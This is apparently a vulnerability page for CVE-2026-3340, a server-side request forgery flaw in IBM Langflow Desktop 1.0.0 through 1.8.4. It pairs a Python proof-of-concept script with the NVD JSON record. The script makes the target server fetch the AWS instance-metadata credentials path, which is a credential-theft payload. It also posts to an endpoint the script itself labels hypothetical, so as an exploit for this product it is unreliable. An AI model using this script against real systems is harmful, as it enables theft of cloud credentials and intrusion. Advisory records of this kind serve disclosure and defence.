CVE-2026-3340

import requests def exploit_ssrf(target_host, malicious_url): """ Exploit SSRF vulnerability in IBM Langflow Desktop. This script sends a request to the target server forcing it to fetch the malicious_url. """ # Hypothetical endpoint that triggers the vulnerability endpoint = f"{target_host}/api/v1/some-internal-fetch" # Payload containing the internal resource URL payload = { "url": malicious_url } try: print(f"[*] Sending payload to {endpoint}...") response = requests.post(endpoint, json=payload, timeout=10) if response.status_code == 200: print("[+] Request successful. Check response for internal data:") print(response.text) else: print(f"[-] Server returned status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] An error occurred: {e}") if __name__ == "__main__": target = "http://127.0.0.1:5000" # Replace with actual target # Example: attempting to access AWS metadata internal_target = "http://169.254.169.254/latest/meta-data/iam/security-credentials/" exploit_ssrf(target, internal_target)

{"cve": {"id": "CVE-2026-3340", "sourceIdentifier": "[email protected]", "published": "2026-04-30T21:16:32.463", "lastModified": "2026-05-11T17:05:34.130", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "IBM Langflow Desktop 1.0.0 through 1.8.4 IBM Langflow is vulnerable to server-side request forgery (SSRF). This may allow an authenticated attacker to send unauthorized requests from the system, potentially leading to network enumeration or facilitating other attacks."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-918"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:langflow:langflow_desktop:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.0.0", "versionEndIncluding": "1.8.4", "matchCriteriaId": "83CB6A3F-0146-4A7A-9FDF-7F49CCBBC143"}]}]}], "references": [{"url": "https://www.ibm.com/support/pages/node/7271096", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}